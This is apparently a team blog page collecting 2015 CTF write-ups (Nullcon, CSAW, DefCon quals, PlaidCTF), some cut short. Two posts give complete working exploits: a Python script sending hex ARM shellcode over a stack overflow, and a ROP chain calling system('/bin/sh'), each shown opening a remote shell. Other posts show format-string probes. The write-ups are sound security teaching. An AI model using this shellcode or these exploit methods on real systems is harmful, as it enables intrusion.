GeeksSpeak Team Blog

WriteUps and random thoughts

Nullcon CTF - HackIM - Expl 100 - ARM

| Comments

Hi,

I participated in NullCon CTF with my team in this week. one of the challenge i solved was an arm binary pwnable.

1
2
hamidx9@expl:~/ctf/nullcon/expl100$ file pinkfloyd
pinkfloyd: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=62c86841d0c0384ce39d70fef5afe0eee5cad7b4, not stripped

pinkfloyd is an arm binary which provide saving playlist functionality. we can see two methods create, print. Analyzing cmd_do_create gives us the clue that it read from input 3 param, name, tag, # of songs. A little more reading the diseases shows if we use more that 84 chars in tag we overflow the stack. So we can abuse this method.

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Also checksec shows us we have a very suitable case, we can execute our shellcode. For hijacking pc we should overwrite lr register so on returning from the call, we have full control. based on add_playlist function myplaylist on bss always has last playlist struct address. So we should change our pc to playlist struct address to run our shellcode which exists in playlist name. Also we should notice our sock fd is 4 so we need a dupsh(4) shellcode. Ok, too much talking, let’s do this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python

# By HAMIDx9 :: GeeksSpeak :: ctf.nullcon.net HackIM :: Exploit 100

import struct
from hexdump import hexdump
import socket
import telnetlib

q = lambda x: struct.pack("<I", x)

#ret = q(0x0002605c) 

shellcode = "01608fe216ff2fe14ff002014ff03f0708460d462846284401df0139fad504a082ea02024ff00b0705b4694601df01012f62696e2f736800".decode("hex")
# Custom dupsh(4) thumb shellcode based on current execution
# To see whats going on : 
# from pwn import *
# context(arch="thumb", os="linux")
# print asm(shellcode[4:]) # skip change to thumb mode arm shellcode

hexdump(shellcode)

s = socket.socket()
s.connect(("52.72.171.221", 9981))
#s.connect(("localhost", 9981))

s.recv(1024)
s.send("create\n") # create a playlist

s.recv(1024)
s.send(shellcode+"\n") # playlist name

s.recv(1024)
#s.send("A"*100+"\n") # crashes in playlist tag
s.send("A"*80+"BBBB"+q(0x8C0CC)+"\n") # set lr to myplaylist to jump to it then,
# after returning from cmd_do_create pop {lr, pc} pops heap address of playlist name in pc which has our dupsh(4) shellcode

s.recv(1024)
s.send("1"+"\n") # playlist tracks 


print [+] Here you go
t = telnetlib.Telnet()
t.sock = s

t.interact() # interact

And running the expl:

1
2
3
4
5
6
7
8
9
10
KernelsCallMe:exp100 hamidx9$ python sol.py
00000000: 01 60 8F E2 16 FF 2F E1  4F F0 02 01 4F F0 3F 07  .`..../.O...O.?.
00000010: 08 46 0D 46 28 46 28 44  01 DF 01 39 FA D5 04 A0  .F.F(F(D...9....
00000020: 82 EA 02 02 4F F0 0B 07  05 B4 69 46 01 DF 01 01  ....O.....iF....
00000030: 2F 62 69 6E 2F 73 68 00                           /bin/sh.
[+] Here you go
cat *
cat: bin: Is a directory
cat: dev: Is a directory
flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7}

So the flag is flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7} and we have 100 pts.

@HAMIDx9

CSAW 2015 - PWN250 - Contacts

| Comments

CSAW 2015 contacts Writeup
Point = 250
Category = Exploitable

Hi,

we are given a binary contacts,

1
2
hamidx9@KernelsCallMe:~/ctf/csaw/pwn/100$ file contacts
contacts: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=a2c73697f9555c6be6c57478029e352df1f28cc8, stripped

The binary seems to be a contact manager, based on my analysis it has a buffer at BSS, and every time we create a contact this structure will be located at the buffer:

1
2
3
4
5
6
7
struct contact {
    char *desc;
    char *num;
    char name[64];
    unsigned int desc_length;
    int enabled;
};

desc is the contacs description and allocates a buffer with buffer size des_length. num is the contact number with size 0xb.

So, we are going to find vulnerabilities.

CSAW 2015 - FOR400 - Sharpturn

| Comments

CSAW 2015 - FOR400 - Sharpturn

Basic useful feature list:

  • I think my SATA controller is dying.
  • HINT: git fsck -v

We had a tar.xz file , after extracting found a git repository. We had a good hint :

1
git fsck -v

and the response :

DefConCTF 2015 Quals - Babyecho Writeup

| Comments

DefConCTF 2015 babycho Writeup
Point = 1
Category = Pwnable

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

1
2
3
4
5
$ file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
babyecho_eb11fdf6e40236b1a37b7974c53b6c3d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
$ checksec.sh --file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

First try got my attention:

1
2
3
4
5
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p
0xd0xa(nil)0xd
Reading 13 bytes

There is format string vulnerability, and based on binary properties we should run our shellcode.

DefConCTF 2015 Quals - ROPBaby Writeup

| Comments

DefConCTF 2015 ROPBaby Writeup
Point = 1
Category = Pwnable

As the challenge name proved we should use ROP technique to read flag from the server ( or pop a shell ).

r0pbaby_542ee6516410709a1421141501f03760

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
./r0pbaby_542ee6516410709a1421141501f03760 

<!--more-->

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FF0352429B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FF034A9DC40
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

So we have address of any symbols of the libc.so.6.

Let’s check the binary in IDA, the main function is sub_C46.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
__int64 sub_C46()
{
  __int64 v0; // rax@2
  signed int v1; // eax@4
  __int64 v2; // rax@12
  unsigned __int64 v3; // r14@15
  int v4; // er13@17
  size_t v5; // r12@17
  int v6; // eax@18
  void *handle; // [sp+8h] [bp-448h]@1
  char nptr[1088]; // [sp+10h] [bp-440h]@2
  __int64 savedregs; // [sp+450h] [bp+0h]@22

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          sub_BF7();
          LODWORD(v0) = sub_B9A(nptr, 1024LL);
          if ( !v0 )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v1 = strtol(nptr, 0LL, 10);
          if ( v1 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          LODWORD(v2) = sub_B9A(nptr, 64LL);
          if ( v2 )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v1 > 2 )
          break;
        if ( v1 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n");
      }
      if ( v1 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A(nptr, 1024LL);
      v3 = (signed int)strtol(nptr, 0LL, 10);
      if ( v3 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v3 )
        {
          v4 = 0;
          v5 = 0LL;
          while ( 1 )
          {
            v6 = _IO_getc(stdin);
            if ( v6 == -1 )
              break;
            nptr[v5] = v6;
            ++v4;
            v5 = v4;
            if ( v3 <= v4 )
              goto LABEL_22;
          }
          v5 = v4 + 1;
        }
        else
        {
          v5 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v5);
      }
    }
    if ( v1 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;
}

After resolving symbols we can use third menu to overflow and execute our chain.

1
2
3
4
5
$ file ./r0pbaby_542ee6516410709a1421141501f03760
./r0pbaby_542ee6516410709a1421141501f03760: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
$ checksec.sh --file ./r0pbaby_542ee6516410709a1421141501f03760
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   ./r0pbaby_542ee6516410709a1421141501f03760

but there may be a problem since we don’t have the libc.so.6. but we have, don’t we? :) i used the libc’s version of the babycmd challenge.

1
2
3
./lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.6) stable release version 2.19, by Roland McGrath et al.
Copyright (C) 2014 Free Software Foundation, Inc.

so you can find it here: [http://packages.ubuntu.com/trusty/libc6]

** note: just use LD_LIBRARY_PATH to use this version to implement the attack completely.

Then i found the offset of /bin/sh and pop rdi; ret from the system symbols of the our given libc.so.6 as you can see below:
* /bin/sh offset from system: +0x13669b
* pop rdi; ret offset from system: -0x23b26

you can see my implementation here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python

import socket
import struct
import telnetlib

def readuntil(f, delim=': '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        assert len(c) > 0
        data += c
    #print data
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]


#s = socket.create_connection(("127.0.0.1", 1337))
s = socket.create_connection(("r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me", 10436))
f = s.makefile('rw', bufsize=0)

raw_input("$") # attach debugger

print s.recv(1024)
f.write("1\n")
readuntil(f, "0x")
a = f.read(16)
print a
libc = int(a, 16)

f.write("2\nsystem\n")
readuntil(f, "0x")
system = int(f.read(16), 16)
print hex(system)

f.write("3\n32\n"+"A"*8+p(system-0x23b26)+p(system+0x13669b)+p(system)+"\n")

print "[+] shell is ready: "
t = telnetlib.Telnet()
t.sock = s
t.interact()

and launching the attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ python r0pbaby-expl.py 
$

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 
00007F9F01F43AB0
0x7f9f0179f640
[+] shell is ready: 

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
ls
bin
boot
[..]
cat /home/r0pbaby/flag
The flag is: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

And another 1 point. Thanks #defconctf

@HAMIDx9

DefConCTF 2015 Quals - Catwestern Writeup

| Comments

DefConCTF 2015 Catwestern Writeup
Point = 1
Category = Coding

Catwestern meow catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999
****Initial Register State****
rax=0x33d34005adc0a57c
rbx=0xe318943106ae1bf9
rcx=0x805e3dd411fbc177
rdx=0x9a951fd093fea167
rsi=0xdecde15b09b2a5f5
rdi=0x8c1473d5803b0f4c
r8=0xf38da8ac64cb3b981
r9=0xda321f211f484523
r10=0xadb76e93d0e8fd1e
r11=0x54acc124703437a
r12=0x6ba39546c9366ffa
r13=0x2250452bedb3e99a
r14=0x525e1ed890af328e
r15=0xdfcbd919b08f5cbe
****Send Solution In The Same Format****
About to send 65 bytes: 
H��I�s �H��)o�zL)�I��� �^M!�I��M �H��M��I��H��I��

So we should set these initial registers and execute opcodes and send the solution.

For solution i created d.s file in the following format:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.globl  _start
_start:
    movq $0x2222222222222222, %rax
    movq $0x3333333333333333, %rbx
    movq $0x4444444444444444, %rcx
    movq $0x5555555555555555, %rdx
    movq $0x6666666666666666, %rsi
    movq $0x7777777777777777, %rdi
    movq $0x8888888888888888, %r8
    movq $0x9999999999999999, %r9
    movq $0xaaaaaaaaaaaaaaaa, %r10
    movq $0xbbbbbbbbbbbbbbbb, %r11
    movq $0xcccccccccccccccc, %r12
    movq $0xdddddddddddddddd, %r13
    movq $0xeeeeeeeeeeeeeeee, %r14
    movq $0xffffffffffffffff, %r15
    nop
    nop
    nop
    nop
    nop
    nop
    ...
    nop

about 100 nops.

i just read the initial registers and replace with these constants and the assemble and link the binary. after that i read the opcodes and write them from 0x105 offset to the executable file. after that i use python-ptrace to create child and trace the binary execution, and after recvieving SIGSEGV signal i read the registers and send to the server at the same format.

you can see my python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/python
 
import socket
import struct
import telnetlib
from ptrace.debugger.debugger import PtraceDebugger
from ptrace.debugger.child import createChild
from ptrace.tools import locateProgram
from sys import stderr, argv, exit
from subprocess import call
from hexdump import hexdump

def readuntil(f, delim=': '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        assert len(c) > 0
        data += c
    #print data
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

def traceProgram(arguments):
    env = None
    arguments1 = [str] * 2
    arguments1[0] = locateProgram(arguments)
    arguments1[1] = arguments[2:]
    #print arguments1
    return createChild(arguments1, False, env)
  
  
def playWithProcess(process):
    process.cont()
    event = process.waitEvent()
    print "New process event: %s" % event
    process.dumpRegs()
     



s = socket.create_connection(("catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me", 9999))
f = s.makefile('rw', bufsize=0)

raw_input("$") # attach debugger


a = readuntil(f, "Format")
print a
a = a.split('\n')[1:-1]
print a
call(["cp", "./d.s.b", "./d.s"])

f1 = open("./d.s", "r")
b = f1.read()
f1.close()
print b
b = b.replace("0x2222222222222222", a[0].replace("rax=", ""))
b = b.replace("0x3333333333333333", a[1].replace("rbx=", ""))
b = b.replace("0x4444444444444444", a[2].replace("rcx=", ""))
b = b.replace("0x5555555555555555", a[3].replace("rdx=", ""))
b = b.replace("0x6666666666666666", a[4].replace("rsi=", ""))
b = b.replace("0x7777777777777777", a[5].replace("rdi=", ""))
b = b.replace("0x8888888888888888", a[6].replace("r8=", ""))
b = b.replace("0x9999999999999999", a[7].replace("r9=", ""))
b = b.replace("0xaaaaaaaaaaaaaaaa", a[8].replace("r10=", ""))
b = b.replace("0xbbbbbbbbbbbbbbbb", a[9].replace("r11=", ""))
b = b.replace("0xcccccccccccccccc", a[10].replace("r12=", ""))
b = b.replace("0xdddddddddddddddd", a[11].replace("r13=", ""))
b = b.replace("0xeeeeeeeeeeeeeeee", a[12].replace("r14=", ""))
b = b.replace("0xffffffffffffffff", a[13].replace("r15=", ""))
print b

f1 = open("./d.s", "w")
f1.write(b)
f1.close()

call(["as", "./d.s", "-o", "d"])
call(["ld", "-s", "./d", "-o", "./dm"])

a = readuntil(f, ":")
print a
l = int(a.split(" ")[3])
s.recv(2)
print "len : ", l

opcode = s.recv(l)

print hexdump(opcode)

f1 = open("./dm", "r+")
f1.seek(0x105)
f1.write(opcode)
f1.close()

pid = traceProgram("./dm")
print pid

dbg = PtraceDebugger()
is_attached = True
process = dbg.addProcess(pid, is_attached)

playWithProcess(process)
answer = "rax=0x%x\n" % process.getreg('rax')
answer += "rbx=0x%x\n" % process.getreg('rbx')
answer += "rcx=0x%x\n" % process.getreg('rcx')
answer += "rdx=0x%x\n" % process.getreg('rdx')
answer += "rsi=0x%x\n" % process.getreg('rsi')
answer += "rdi=0x%x\n" % process.getreg('rdi')
answer += "r8=0x%x\n" % process.getreg('r8')
answer += "r9=0x%x\n" % process.getreg('r9')
answer += "r10=0x%x\n" % process.getreg('r10')
answer += "r11=0x%x\n" % process.getreg('r11')
answer += "r12=0x%x\n" % process.getreg('r12')
answer += "r13=0x%x\n" % process.getreg('r13')
answer += "r14=0x%x\n" % process.getreg('r14')
answer += "r15=0x%x\n" % process.getreg('r15')
print answer
f.write(answer)
dbg.quit()

print "[+] shell is ready: "
t = telnetlib.Telnet()
t.sock = s
t.interact()

#s.close()

It’s not so beatiful code :)

1
2
3
4
5
6
7
8
9
10
$ python coding-sol.py
[..]
r14=0x20f838e6af11cbb2
r15=0x5c1e33373ff7f37c

WARNING:root:Terminate <PtraceProcess #5651>
[+] shell is ready:

The flag is: Cats with frickin lazer beamz on top of their heads!
*** Connection closed by remote host ***

Here another point, but really i assumed i should do this multiple times :)

@HAMIDx9

DefConCTF 2015 Quals - Mathwize Writeup

| Comments

DefConCTF 2015 Mathwize Writeup
Point = 1
Category = Coding

We just given the dest address.

mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me:21249

1
2
nc mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me 21249
1 + 1 =

It’s seems we should just answer all the questions.

but among using a script to answer all, i see following patterns:

  1. using [ and ] instead of (, )
  2. using { , } instead of (, )
  3. using ONE, TWO, THREE, instead of 1, 2, 3

So here is my completely dirty solution :) :

1
2
3
4
5
6
7
8
9
10
11
12
import socket


s = socket.create_connection(("mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me", 21249))


while True:
    a = s.recv(1024)
    print a
    b = eval(a.replace("=", "").replace("{", "(").replace("}", ")").replace("ONE", "1").replace("TWO", "2").replace("THREE", "3").replace("^", "**").replace("[", "(").replace("]", ")"))
    print b
    s.send(str(b)+"\n")

And finally:

1
2
3
4
5
$ python mathwize-sol.py
[..]

You won!!!
The flag is: Farva says you are a FickenChucker and you'd better watch Super Troopers 2

another 1 point ;)

@HAMIDx9

DefConCTF 2015 Quals - Babycmd Writeup

| Comments

DefConCTF 2015 babycmd Writeup
Point = 1
Category = Pwnable

As you may now defconctf started 2 days ago, so we participated and you can check our solutions right here.

OK, So there was 4 problem categories: Baby's first, Pwning, Coding, Reverse and Misc.

This is babycmd writeup as you can see below,

There was a binary babycmd_3ad28b10e8ab283d7df81795075f600b by following properties:

1
2
3
4
5
$ file babycmd_3ad28b10e8ab283d7df81795075f600b
babycmd_3ad28b10e8ab283d7df81795075f600b: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
$ checksec.sh --file babycmd_3ad28b10e8ab283d7df81795075f600b 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   babycmd_3ad28b10e8ab283d7df81795075f600b

This is so much for 1 point task, but you know this is DEFCON.

PlaidCTF CTF 2015 - EBP Writeup

| Comments

PlaidCTF 2015 EBP Writeup
Point = 160
Category = Pwnable

Unfortunately the CTF time for our team was completely under heavy pressure. but here is one i solved in my free time.

Category: Pwnable Points: 160 Solves: 157 Description: nc 52.6.64.173 4545 Download: %p%o%o%p.

We are given an ELF file:

1
2
$ file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf 
ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

first attempt peresented us that it’s a Format String Vulenrability.

1
2
3
$ ./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf 
%p%p%p%p%p
0xa0x10xf76c40000xffec67180x804852c

We noticed that the binary is provided with disabled NX.